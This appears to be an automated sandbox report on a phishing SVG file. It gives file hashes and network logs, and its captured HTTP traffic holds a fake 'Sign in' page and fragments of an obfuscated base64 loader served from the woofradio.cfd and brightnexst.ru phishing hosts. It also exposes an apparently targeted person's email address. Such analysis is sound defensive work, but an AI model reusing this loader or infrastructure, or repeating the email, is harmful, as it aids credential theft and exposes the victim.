76,1.428q.645.

File type:	HTML document, ASCII text, with very long lines (3279)
Entropy (8bit):	5.648927000142511
TrID:
File name:	7274442614.svg
File size:	4'054 bytes
MD5:	b023d2663a76e1bdf5a823929898b92b
SHA1:	1fbdc8c59c13391e8f9f92b1eda1736ba277a6c2
SHA256:	02101b57b1f27fcdd2f7651058d12485da6ecef5781d56ec7792018dc1dddd45
SHA512:	701c8afc374b3b0d22a06c36d10ac556bcea90d688ac2bc0e020123d4cf251afeb69f96330910c1a7b7e5be0c26baf2716c479a1f75385b6bc925e337800718f
SSDEEP:	96:A451Zh5qEvE8YkuzdqEdxENhn5eC/hHqIhY15u:AkewE8tu7xEN91/ht
TLSH:	1A8181644C5F5E2C133041D69CDD18CE8B5EE7932F81968DB34FD9B097A582A15CA8CF
File Content Preview:	The explorer composed a beautiful painting in the desert. -->.<svg xmlns="http://www.w3.org/2000/svg" width="100%" height="100%">. The child painted a curious thought while sailing across the seas. -->. <foreignObject width="100%" heig

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Mar 18, 2025 09:10:15.630142927 CET	53	59177	1.1.1.1	192.168.2.4
Mar 18, 2025 09:10:15.754630089 CET	53	64454	1.1.1.1	192.168.2.4
Mar 18, 2025 09:10:17.852272034 CET	53	51230	1.1.1.1	192.168.2.4
Mar 18, 2025 09:10:19.903655052 CET	63902	53	192.168.2.4	1.1.1.1
Mar 18, 2025 09:10:19.903865099 CET	52639	53	192.168.2.4	1.1.1.1
Mar 18, 2025 09:10:19.910567045 CET	53	63902	1.1.1.1	192.168.2.4
Mar 18, 2025 09:10:19.910809994 CET	53	52639	1.1.1.1	192.168.2.4
Mar 18, 2025 09:10:21.851484060 CET	60079	53	192.168.2.4	1.1.1.1
Mar 18, 2025 09:10:21.851602077 CET	65482	53	192.168.2.4	1.1.1.1
Mar 18, 2025 09:10:21.861736059 CET	53	60079	1.1.1.1	192.168.2.4
Mar 18, 2025 09:10:21.861752033 CET	53	65482	1.1.1.1	192.168.2.4
Mar 18, 2025 09:10:21.880801916 CET	58395	53	192.168.2.4	1.1.1.1
Mar 18, 2025 09:10:21.880963087 CET	61442	53	192.168.2.4	1.1.1.1
Mar 18, 2025 09:10:21.896250010 CET	53	58395	1.1.1.1	192.168.2.4
Mar 18, 2025 09:10:21.899849892 CET	53	61442	1.1.1.1	192.168.2.4
Mar 18, 2025 09:10:23.083453894 CET	52429	53	192.168.2.4	1.1.1.1
Mar 18, 2025 09:10:23.083638906 CET	61423	53	192.168.2.4	1.1.1.1
Mar 18, 2025 09:10:23.099209070 CET	53	61423	1.1.1.1	192.168.2.4
Mar 18, 2025 09:10:23.191194057 CET	53	52429	1.1.1.1	192.168.2.4
Mar 18, 2025 09:10:24.318753004 CET	58811	53	192.168.2.4	1.1.1.1
Mar 18, 2025 09:10:24.318964958 CET	64572	53	192.168.2.4	1.1.1.1
Mar 18, 2025 09:10:24.321113110 CET	49813	53	192.168.2.4	1.1.1.1
Mar 18, 2025 09:10:24.321621895 CET	63221	53	192.168.2.4	1.1.1.1
Mar 18, 2025 09:10:24.322208881 CET	57833	53	192.168.2.4	1.1.1.1
Mar 18, 2025 09:10:24.322210073 CET	55612	53	192.168.2.4	1.1.1.1
Mar 18, 2025 09:10:24.325603962 CET	53	64572	1.1.1.1	192.168.2.4
Mar 18, 2025 09:10:24.328139067 CET	53	49813	1.1.1.1	192.168.2.4
Mar 18, 2025 09:10:24.328386068 CET	53	63221	1.1.1.1	192.168.2.4
Mar 18, 2025 09:10:24.328568935 CET	53	57833	1.1.1.1	192.168.2.4
Mar 18, 2025 09:10:24.343030930 CET	53	58811	1.1.1.1	192.168.2.4
Mar 18, 2025 09:10:24.370088100 CET	53	55612	1.1.1.1	192.168.2.4
Mar 18, 2025 09:10:26.019925117 CET	61541	53	192.168.2.4	1.1.1.1
Mar 18, 2025 09:10:26.020288944 CET	51450	53	192.168.2.4	1.1.1.1
Mar 18, 2025 09:10:26.027103901 CET	53	61541	1.1.1.1	192.168.2.4
Mar 18, 2025 09:10:26.029669046 CET	53	51450	1.1.1.1	192.168.2.4
Mar 18, 2025 09:10:26.639950991 CET	63473	53	192.168.2.4	1.1.1.1
Mar 18, 2025 09:10:26.640234947 CET	54104	53	192.168.2.4	1.1.1.1
Mar 18, 2025 09:10:26.646372080 CET	53	63473	1.1.1.1	192.168.2.4
Mar 18, 2025 09:10:26.651530981 CET	53	54104	1.1.1.1	192.168.2.4
Mar 18, 2025 09:10:34.972017050 CET	53	63490	1.1.1.1	192.168.2.4
Mar 18, 2025 09:10:36.065901041 CET	54275	53	192.168.2.4	1.1.1.1
Mar 18, 2025 09:10:36.066154957 CET	63975	53	192.168.2.4	1.1.1.1
Mar 18, 2025 09:10:36.082710981 CET	53	63975	1.1.1.1	192.168.2.4
Mar 18, 2025 09:10:36.127274990 CET	53	54275	1.1.1.1	192.168.2.4
Mar 18, 2025 09:10:37.179927111 CET	54711	53	192.168.2.4	1.1.1.1
Mar 18, 2025 09:10:37.180170059 CET	64311	53	192.168.2.4	1.1.1.1
Mar 18, 2025 09:10:37.190819979 CET	53	54711	1.1.1.1	192.168.2.4
Mar 18, 2025 09:10:37.230874062 CET	53	64311	1.1.1.1	192.168.2.4
Mar 18, 2025 09:10:37.573241949 CET	51372	53	192.168.2.4	1.1.1.1
Mar 18, 2025 09:10:37.573695898 CET	50650	53	192.168.2.4	1.1.1.1
Mar 18, 2025 09:10:37.582835913 CET	53	51372	1.1.1.1	192.168.2.4
Mar 18, 2025 09:10:37.585079908 CET	53	50650	1.1.1.1	192.168.2.4
Mar 18, 2025 09:10:38.478028059 CET	50448	53	192.168.2.4	1.1.1.1
Mar 18, 2025 09:10:38.478409052 CET	49300	53	192.168.2.4	1.1.1.1
Mar 18, 2025 09:10:38.484683037 CET	53	50448	1.1.1.1	192.168.2.4
Mar 18, 2025 09:10:38.485392094 CET	53	49300	1.1.1.1	192.168.2.4
Mar 18, 2025 09:10:39.743818045 CET	65031	53	192.168.2.4	1.1.1.1
Mar 18, 2025 09:10:39.744051933 CET	51325	53	192.168.2.4	1.1.1.1
Mar 18, 2025 09:10:39.750603914 CET	53	65031	1.1.1.1	192.168.2.4
Mar 18, 2025 09:10:39.750627995 CET	53	51325	1.1.1.1	192.168.2.4
Mar 18, 2025 09:10:39.751888037 CET	64202	53	192.168.2.4	1.1.1.1
Mar 18, 2025 09:10:39.752134085 CET	59487	53	192.168.2.4	1.1.1.1
Mar 18, 2025 09:10:39.772361994 CET	53	64202	1.1.1.1	192.168.2.4
Mar 18, 2025 09:10:39.797558069 CET	53	59487	1.1.1.1	192.168.2.4
Mar 18, 2025 09:10:40.708415031 CET	61919	53	192.168.2.4	1.1.1.1
Mar 18, 2025 09:10:40.708580971 CET	51946	53	192.168.2.4	1.1.1.1
Mar 18, 2025 09:10:40.715078115 CET	53	61919	1.1.1.1	192.168.2.4
Mar 18, 2025 09:10:40.715543032 CET	53	51946	1.1.1.1	192.168.2.4
Mar 18, 2025 09:10:45.791038036 CET	57924	53	192.168.2.4	1.1.1.1
Mar 18, 2025 09:10:45.791160107 CET	55323	53	192.168.2.4	1.1.1.1
Mar 18, 2025 09:10:45.796678066 CET	53	64110	1.1.1.1	192.168.2.4
Mar 18, 2025 09:10:45.797638893 CET	53	57924	1.1.1.1	192.168.2.4
Mar 18, 2025 09:10:45.799093962 CET	53	55323	1.1.1.1	192.168.2.4
Mar 18, 2025 09:10:46.088891983 CET	53553	53	192.168.2.4	1.1.1.1
Mar 18, 2025 09:10:46.089061022 CET	61281	53	192.168.2.4	1.1.1.1
Mar 18, 2025 09:10:46.109354973 CET	53	61281	1.1.1.1	192.168.2.4
Mar 18, 2025 09:10:46.111722946 CET	53	53553	1.1.1.1	192.168.2.4
Mar 18, 2025 09:10:46.426589966 CET	51097	53	192.168.2.4	1.1.1.1
Mar 18, 2025 09:10:46.426881075 CET	58903	53	192.168.2.4	1.1.1.1
Mar 18, 2025 09:10:46.480180979 CET	53	51097	1.1.1.1	192.168.2.4
Mar 18, 2025 09:10:46.484010935 CET	53	58903	1.1.1.1	192.168.2.4
Mar 18, 2025 09:10:46.814519882 CET	51474	53	192.168.2.4	1.1.1.1
Mar 18, 2025 09:10:46.814687014 CET	50859	53	192.168.2.4	1.1.1.1
Mar 18, 2025 09:10:46.822521925 CET	53	51474	1.1.1.1	192.168.2.4
Mar 18, 2025 09:10:46.822987080 CET	53	50859	1.1.1.1	192.168.2.4
Mar 18, 2025 09:10:47.693005085 CET	55212	53	192.168.2.4	1.1.1.1
Mar 18, 2025 09:10:47.693198919 CET	50194	53	192.168.2.4	1.1.1.1
Mar 18, 2025 09:10:47.707083941 CET	53	55212	1.1.1.1	192.168.2.4
Mar 18, 2025 09:10:47.709146023 CET	53	50194	1.1.1.1	192.168.2.4
Mar 18, 2025 09:10:53.871076107 CET	53	60078	1.1.1.1	192.168.2.4
Mar 18, 2025 09:11:15.116957903 CET	53	61041	1.1.1.1	192.168.2.4
Mar 18, 2025 09:11:16.664165974 CET	53	50623	1.1.1.1	192.168.2.4
Mar 18, 2025 09:11:18.723237991 CET	53	62817	1.1.1.1	192.168.2.4
Mar 18, 2025 09:11:19.965764999 CET	58386	53	192.168.2.4	1.1.1.1
Mar 18, 2025 09:11:19.965913057 CET	58733	53	192.168.2.4	1.1.1.1
Mar 18, 2025 09:11:20.016343117 CET	53	58386	1.1.1.1	192.168.2.4
Mar 18, 2025 09:11:20.016360998 CET	53	58733	1.1.1.1	192.168.2.4
Mar 18, 2025 09:11:23.971364975 CET	138	138	192.168.2.4	192.168.2.255
Mar 18, 2025 09:11:38.481873989 CET	55978	53	192.168.2.4	1.1.1.1
Mar 18, 2025 09:11:38.482021093 CET	61411	53	192.168.2.4	1.1.1.1
Mar 18, 2025 09:11:38.488848925 CET	53	61411	1.1.1.1	192.168.2.4
Mar 18, 2025 09:11:38.489228964 CET	53	55978	1.1.1.1	192.168.2.4
Mar 18, 2025 09:11:46.395803928 CET	53	56986	1.1.1.1	192.168.2.4
Mar 18, 2025 09:12:32.896255970 CET	53	50294	1.1.1.1	192.168.2.4

Timestamp	Source IP	Dest IP	Checksum	Code	Type
Mar 18, 2025 09:10:24.370259047 CET	192.168.2.4	1.1.1.1	c233	(Port unreachable)	Destination Unreachable
Mar 18, 2025 09:10:37.230936050 CET	192.168.2.4	1.1.1.1	c279	(Port unreachable)	Destination Unreachable
Mar 18, 2025 09:10:39.797612906 CET	192.168.2.4	1.1.1.1	c26a	(Port unreachable)	Destination Unreachable

Timestamp	Bytes transferred	Direction	Data
Mar 18, 2025 09:10:32.761989117 CET	202	OUT	GET /r/gsr1.crl HTTP/1.1 Cache-Control: max-age = 3000 Connection: Keep-Alive Accept: / If-Modified-Since: Tue, 07 Jan 2025 07:28:00 GMT User-Agent: Microsoft-CryptoAPI/10.0 Host: c.pki.goog
Mar 18, 2025 09:10:33.396050930 CET	222	IN	HTTP/1.1 304 Not Modified Date: Tue, 18 Mar 2025 07:54:12 GMT Expires: Tue, 18 Mar 2025 08:44:12 GMT Last-Modified: Tue, 07 Jan 2025 07:28:00 GMT Cache-Control: public, max-age=3000 Vary: Accept-Encoding Age: 981
Mar 18, 2025 09:10:33.401727915 CET	200	OUT	GET /r/r4.crl HTTP/1.1 Cache-Control: max-age = 3000 Connection: Keep-Alive Accept: / If-Modified-Since: Thu, 25 Jul 2024 14:48:00 GMT User-Agent: Microsoft-CryptoAPI/10.0 Host: c.pki.goog
Mar 18, 2025 09:10:33.597522974 CET	222	IN	HTTP/1.1 304 Not Modified Date: Tue, 18 Mar 2025 07:54:50 GMT Expires: Tue, 18 Mar 2025 08:44:50 GMT Age: 943 Last-Modified: Thu, 25 Jul 2024 14:48:00 GMT Cache-Control: public, max-age=3000 Vary: Accept-Encoding

Timestamp	Bytes transferred	Direction	Data
2025-03-18 08:10:22 UTC	1080	OUT	GET /ZjX1jjH665po2eLWW4jUSX8dmHCiktf6EX3xLegnkHru7azBspqpI3HHJRL6zitPIxqw1QQxPmLmcOszAVyCfKIrtjiI8tYm56RIpdI6HaV0VxndlG9qHqUKgPdLD2BpDwL4k1t1RzIBqGsxlCwfxVrFjJFJ7n0hI85JeWTalF25uHyajC29LhTRArSsIYYQ7DLvDHkC/xdn6Amz86w9Iq48wEajbZ8edVzLxz9pFm4UQdwieOLoU1rihTpEvBsQOA2ZXBAfSuyCgRB1OGZNOWCvqGvbacXoDy1M5oCuV537wGGg1iJDkXcMmlwn0CCeFhOvVc3kz7EcXl2qTb5blUMuBtAGoiGUp434J189cPjIxtcSIhjVHEwxR3z97EPecZC8ozSCIy9qGXePx/t.mack@ruhlamat.de HTTP/1.1 Host: a7hz6ilpu3.woofradio.cfd Connection: keep-alive Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-Dest: document Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-03-18 08:10:22 UTC	857	IN	HTTP/1.1 200 OK Date: Tue, 18 Mar 2025 08:10:22 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close Last-Modified: Mon, 17 Mar 2025 19:23:25 GMT Accept-Ranges: bytes cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=%2B75kLrO9wzrmnCrILUrVeSUM2IgzKW1Svrc%2F%2F6wCTm0fpuIQkH5DyOyA9C4fm5djAWqFZZj9x0OaSl1xiGwtCGJG%2BRr0%2FekeWNz2Fgd0JzhXbwQkwzr3vvsl4z3WsArkicrjIi3pfdD4sKM%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 922340d238114302-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1654&min_rtt=1645&rtt_var=635&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2830&recv_bytes=1674&delivery_rate=1699650&cwnd=189&unsent_bytes=0&cid=e90918510e9c9c93&ts=293&x=0"
2025-03-18 08:10:22 UTC	1369	IN	Data Raw: 38 31 33 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0d 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0d 0a 3c 68 65 61 64 3e 0d 0a 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 3e 0d 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2e 30 22 3e 0d 0a 20 20 20 20 3c 74 69 74 6c 65 3e 53 69 67 6e 20 69 6e 3c 2f 74 69 74 6c 65 3e 0d 0a 20 20 20 20 3c 73 63 72 69 70 74 3e 0d 0a 20 20 20 20 20 20 20 20 2f 2f 20 46 75 6e 63 74 69 6f 6e 20 74 6f 20 67 65 6e 65 72 61 74 65 20 72 61 6e 64 6f 6d 20 61 6c 70 68 61 6e 75 6d 65 72 69 63 20 63 68 61 72 61 63 74 65 72 Data Ascii: 813<!DOCTYPE html><html lang="en"><head> <meta charset="UTF-8"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <title>Sign in</title> <script> // Function to generate random alphanumeric character
2025-03-18 08:10:22 UTC	705	IN	Data Raw: 75 62 73 74 72 69 6e 67 28 63 75 72 72 65 6e 74 55 72 6c 2e 6c 61 73 74 49 6e 64 65 78 4f 66 28 27 2f 27 29 20 2b 20 31 29 3b 0d 0a 20 20 20 20 20 20 20 20 0d 0a 20 20 20 20 20 20 20 20 2f 2f 20 54 72 79 20 74 6f 20 65 78 74 72 61 63 74 20 73 75 62 64 6f 6d 61 69 6e 20 66 72 6f 6d 20 76 61 6c 75 65 20 28 69 66 20 69 74 27 73 20 61 6e 20 65 6d 61 69 6c 29 0d 0a 20 20 20 20 20 20 20 20 76 61 72 20 73 75 62 64 6f 6d 61 69 6e 20 3d 20 65 78 74 72 61 63 74 53 75 62 64 6f 6d 61 69 6e 28 76 61 6c 75 65 29 3b 0d 0a 20 20 20 20 20 20 20 20 0d 0a 20 20 20 20 20 20 20 20 2f 2f 20 47 65 6e 65 72 61 74 65 20 72 61 6e 64 6f 6d 20 61 6c 70 68 61 6e 75 6d 65 72 69 63 20 73 74 72 69 6e 67 73 0d 0a 20 20 20 20 20 20 20 20 76 61 72 20 72 61 6e 64 6f 6d 53 74 72 69 6e 67 20 Data Ascii: ubstring(currentUrl.lastIndexOf('/') + 1); // Try to extract subdomain from value (if it's an email) var subdomain = extractSubdomain(value); // Generate random alphanumeric strings var randomString
2025-03-18 08:10:22 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Timestamp	Bytes transferred	Direction	Data
2025-03-18 08:10:23 UTC	587	OUT	GET /complete/search?client=chrome-omni&gs_ri=chrome-ext-ansg&xssi=t&q=&oit=0&gs_rn=42&sugkey=AIzaSyA2KlwBX3mkFo30om9LUFYQhpqLoa_BNhE HTTP/1.1 Host: www.google.com Connection: keep-alive X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEI0qDKAQig4coBCJOhywEInP7MAQiFoM0BCL7VzgEIgNbOAQjI3M4BCIrgzgEIx+HOAQiu5M4BCIvlzgE= Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-03-18 08:10:23 UTC	1303	IN	HTTP/1.1 200 OK Date: Tue, 18 Mar 2025 08:10:23 GMT Pragma: no-cache Expires: -1 Cache-Control: no-cache, must-revalidate Content-Type: text/javascript; charset=UTF-8 Strict-Transport-Security: max-age=31536000 Content-Security-Policy: object-src 'none';base-uri 'self';script-src 'nonce-UNR4pP30CgnlhJHoxVL0rw' 'strict-dynamic' 'report-sample' 'unsafe-eval' 'unsafe-inline' https: http:;report-uri https://csp.withgoogle.com/csp/gws/cdt1 Cross-Origin-Opener-Policy: same-origin-allow-popups; report-to="gws" Report-To: {"group":"gws","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/gws/cdt1"}]} Accept-CH: Sec-CH-Prefers-Color-Scheme Accept-CH: Downlink Accept-CH: RTT Accept-CH: Sec-CH-UA-Form-Factors Accept-CH: Sec-CH-UA-Platform Accept-CH: Sec-CH-UA-Platform-Version Accept-CH: Sec-CH-UA-Full-Version Accept-CH: Sec-CH-UA-Arch Accept-CH: Sec-CH-UA-Model Accept-CH: Sec-CH-UA-Bitness Accept-CH: Sec-CH-UA-Full-Version-List Accept-CH: Sec-CH-UA-WoW64 Permissions-Policy: unload=() Content-Disposition: attachment; filename="f.txt" Server: gws X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Accept-Ranges: none Vary: Accept-Encoding Connection: close Transfer-Encoding: chunked
2025-03-18 08:10:23 UTC	87	IN	Data Raw: 33 37 31 0d 0a 29 5d 7d 27 0a 5b 22 22 2c 5b 22 77 65 73 74 20 76 69 72 67 69 6e 69 61 20 6e 63 61 61 20 74 6f 75 72 6e 61 6d 65 6e 74 22 2c 22 6d 75 73 69 63 20 61 77 61 72 64 73 20 69 68 65 61 72 74 72 61 64 69 6f 22 2c 22 72 69 70 70 6c 65 20 78 72 70 20 6e Data Ascii: 371)]}'["",["west virginia ncaa tournament","music awards iheartradio","ripple xrp n
2025-03-18 08:10:23 UTC	801	IN	Data Raw: 65 77 73 22 2c 22 61 69 72 20 66 6f 72 63 65 22 2c 22 72 6f 63 6b 73 74 61 72 20 67 61 6d 65 73 20 67 74 61 20 36 20 72 65 6c 65 61 73 65 20 64 61 74 65 22 2c 22 6e 61 74 69 6f 6e 61 6c 20 68 75 72 72 69 63 61 6e 65 20 63 65 6e 74 65 72 22 2c 22 69 6e 64 69 61 6e 61 20 70 61 63 65 72 73 20 76 73 20 6d 69 6e 6e 65 73 6f 74 61 20 74 69 6d 62 65 72 77 6f 6c 76 65 73 22 2c 22 73 6f 6c 6f 20 6c 65 76 65 6c 69 6e 67 20 65 70 69 73 6f 64 65 20 31 32 20 72 65 6c 65 61 73 65 20 64 61 74 65 22 5d 2c 5b 22 22 2c 22 22 2c 22 22 2c 22 22 2c 22 22 2c 22 22 2c 22 22 2c 22 22 5d 2c 5b 5d 2c 7b 22 67 6f 6f 67 6c 65 3a 63 6c 69 65 6e 74 64 61 74 61 22 3a 7b 22 62 70 63 22 3a 66 61 6c 73 65 2c 22 74 6c 77 22 3a 66 61 6c 73 65 7d 2c 22 67 6f 6f 67 6c 65 3a 67 72 6f 75 70 73 Data Ascii: ews","air force","rockstar games gta 6 release date","national hurricane center","indiana pacers vs minnesota timberwolves","solo leveling episode 12 release date"],["","","","","","","",""],[],{"google:clientdata":{"bpc":false,"tlw":false},"google:groups
2025-03-18 08:10:23 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Timestamp	Bytes transferred	Direction	Data
2025-03-18 08:10:23 UTC	711	OUT	GET /pax6lf1/ HTTP/1.1 Host: ruhlamat.brightnexst.ru Connection: keep-alive sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-Dest: document Referer: https://a7hz6ilpu3.woofradio.cfd/ Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-03-18 08:10:24 UTC	1202	IN	HTTP/1.1 200 OK Date: Tue, 18 Mar 2025 08:10:23 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Cache-Control: no-cache, private cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=HN2tWsT8nNKrvVTsjDE6n1nhQjieHfj6%2B2gvHUI90qn5UFKUf8M4p30e8TpSwpsXwzkXRKxqqkDYH45QUblFUGzBwWQlBm8WFB01vijpsGvfn81c8ys%2Bcg6Hsyj5"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} server-timing: cfL4;desc="?proto=TCP&rtt=1050&min_rtt=1013&rtt_var=312&sent=4&recv=7&lost=0&retrans=0&sent_bytes=2825&recv_bytes=1613&delivery_rate=2669124&cwnd=248&unsent_bytes=0&cid=86e6efcb86ad208a&ts=102&x=0" Set-Cookie: XSRF-TOKEN=eyJpdiI6ImJpcGFRRXdBaUdUanBoSUwrdGhneWc9PSIsInZhbHVlIjoiRHp5bVlrZS82VXYwd1F3VjdUemtHYjRzdGZFeEFlbDVHMitrZ1BvWW1VeHhPLzlwWTlhWkh6TjVXaTBNOUIxb2hCMnpLUDNVb0QrWjMyYUF2NC84K1RhUkNwNVFIYmZSZ0lrbkM0TVNjd1lMYkdIUGJuREdXSGkxMHp5YXFibWwiLCJtYWMiOiI1NWY1M2QzM2NkYWExMjc0NTQ1N2RkNjBmOTI4YmNlYzcyNjUwNTA4Y2E1ZTkyNzY4NjEzYWIxYTM2MzY2MjQyIiwidGFnIjoiIn0%3D; expires=Tue, 18-Mar-2025 10:10:23 GMT; Max-Age=7200; path=/; secure; samesite=none
2025-03-18 08:10:24 UTC	762	IN	Data Raw: 53 65 74 2d 43 6f 6f 6b 69 65 3a 20 6c 61 72 61 76 65 6c 5f 73 65 73 73 69 6f 6e 3d 65 79 4a 70 64 69 49 36 49 6b 52 54 61 30 67 76 63 7a 4e 54 55 45 4a 30 52 30 73 7a 52 6b 78 4b 62 6d 4a 56 4f 45 45 39 50 53 49 73 49 6e 5a 68 62 48 56 6c 49 6a 6f 69 64 58 70 35 5a 56 56 4f 4d 55 31 71 59 7a 42 53 51 30 35 42 55 47 4a 7a 5a 48 56 4c 55 55 5a 76 53 55 55 35 56 45 68 4f 53 30 64 4a 4e 6c 4a 4d 59 54 42 7a 64 30 38 31 59 6b 55 35 55 47 56 49 61 32 74 57 55 55 5a 6e 61 48 70 31 53 30 31 78 57 44 46 56 56 32 39 34 57 6b 4a 55 57 6e 5a 31 51 30 6b 72 61 48 45 72 4f 44 64 4c 65 6b 46 7a 63 44 56 34 53 31 70 47 61 33 6c 74 4d 6a 56 76 56 7a 6c 6a 4d 57 64 44 54 6c 68 30 62 46 68 36 4e 32 35 58 56 57 77 77 57 6c 49 76 59 54 4e 75 4e 6a 63 76 61 31 4a 36 62 48 45 Data Ascii: Set-Cookie: laravel_session=eyJpdiI6IkRTa0gvczNTUEJ0R0szRkxKbmJVOEE9PSIsInZhbHVlIjoidXp5ZVVOMU1qYzBSQ05BUGJzZHVLUUZvSUU5VEhOS0dJNlJMYTBzd081YkU5UGVIa2tWUUZnaHp1S01xWDFVV294WkJUWnZ1Q0kraHErODdLekFzcDV4S1pGa3ltMjVvVzljMWdDTlh0bFh6N25XVWwwWlIvYTNuNjcva1J6bHE
2025-03-18 08:10:24 UTC	1369	IN	Data Raw: 31 63 61 39 0d 0a 3c 73 63 72 69 70 74 3e 0a 68 4b 74 71 4c 65 43 47 74 63 20 3d 20 61 74 6f 62 28 22 61 48 52 30 63 48 4d 36 4c 79 38 77 56 79 35 69 63 6d 6c 6e 61 48 52 75 5a 58 68 7a 64 43 35 79 64 53 39 77 59 58 67 32 62 47 59 78 4c 77 3d 3d 22 29 3b 0a 45 6b 59 57 48 74 45 54 6a 48 20 3d 20 61 74 6f 62 28 22 62 6d 39 74 59 58 52 6a 61 41 3d 3d 22 29 3b 0a 45 43 69 72 58 44 79 6d 72 77 20 3d 20 61 74 6f 62 28 22 64 33 4a 70 64 47 55 3d 22 29 3b 0a 69 66 28 68 4b 74 71 4c 65 43 47 74 63 20 3d 3d 20 45 6b 59 57 48 74 45 54 6a 48 29 7b 0a 64 6f 63 75 6d 65 6e 74 5b 45 43 69 72 58 44 79 6d 72 77 5d 28 64 65 63 6f 64 65 55 52 49 43 6f 6d 70 6f 6e 65 6e 74 28 65 73 63 61 70 65 28 61 74 6f 62 28 27 50 43 46 45 54 30 4e 55 57 56 42 46 49 47 68 30 62 57 77 2b Data Ascii: 1ca9<script>hKtqLeCGtc = atob("aHR0cHM6Ly8wVy5icmlnaHRuZXhzdC5ydS9wYXg2bGYxLw==");EkYWHtETjH = atob("bm9tYXRjaA==");ECirXDymrw = atob("d3JpdGU=");if(hKtqLeCGtc == EkYWHtETjH){document[ECirXDymrw](decodeURIComponent(escape(atob('PCFET0NUWVBFIGh0bWw+
2025-03-18 08:10:24 UTC	1369	IN	Data Raw: 57 6b 34 34 57 6b 37 37 36 67 37 37 36 67 34 34 57 6b 34 34 57 6b 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 34 34 57 6b 37 37 36 67 34 34 57 6b 34 34 57 6b 34 34 57 6b 37 37 36 67 34 34 57 6b 34 34 57 6b 37 37 36 67 37 37 36 67 34 34 57 6b 34 34 57 6b 37 37 36 67 34 34 57 6b 37 37 36 67 37 37 36 67 34 34 57 6b 37 37 36 67 34 34 57 6b 34 34 57 6b 37 37 36 67 37 37 36 67 34 34 57 6b 34 34 57 6b 34 34 57 6b 37 37 36 67 34 34 57 6b 34 34 57 6b 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 34 34 57 6b 37 37 36 67 34 34 57 6b 34 34 57 6b 34 34 57 6b 37 37 36 67 34 34 57 6b 37 37 36 67 37 37 36 67 37 37 36 67 34 34 57 6b 34 34 57 6b 37 37 36 67 34 34 57 6b 34 34 57 6b 34 34 57 6b 34 34 57 6b 37 37 36 67 34 34 57 6b 34 34 57 6b 34 34 57 6b 37 37 36 67 37 Data Ascii: Wk44Wk776g776g44Wk44Wk776g776g776g776g44Wk776g44Wk44Wk44Wk776g44Wk44Wk776g776g44Wk44Wk776g44Wk776g776g44Wk776g44Wk44Wk776g776g44Wk44Wk44Wk776g44Wk44Wk776g776g776g776g44Wk776g44Wk44Wk44Wk776g44Wk776g776g776g44Wk44Wk776g44Wk44Wk44Wk44Wk776g44Wk44Wk44Wk776g7
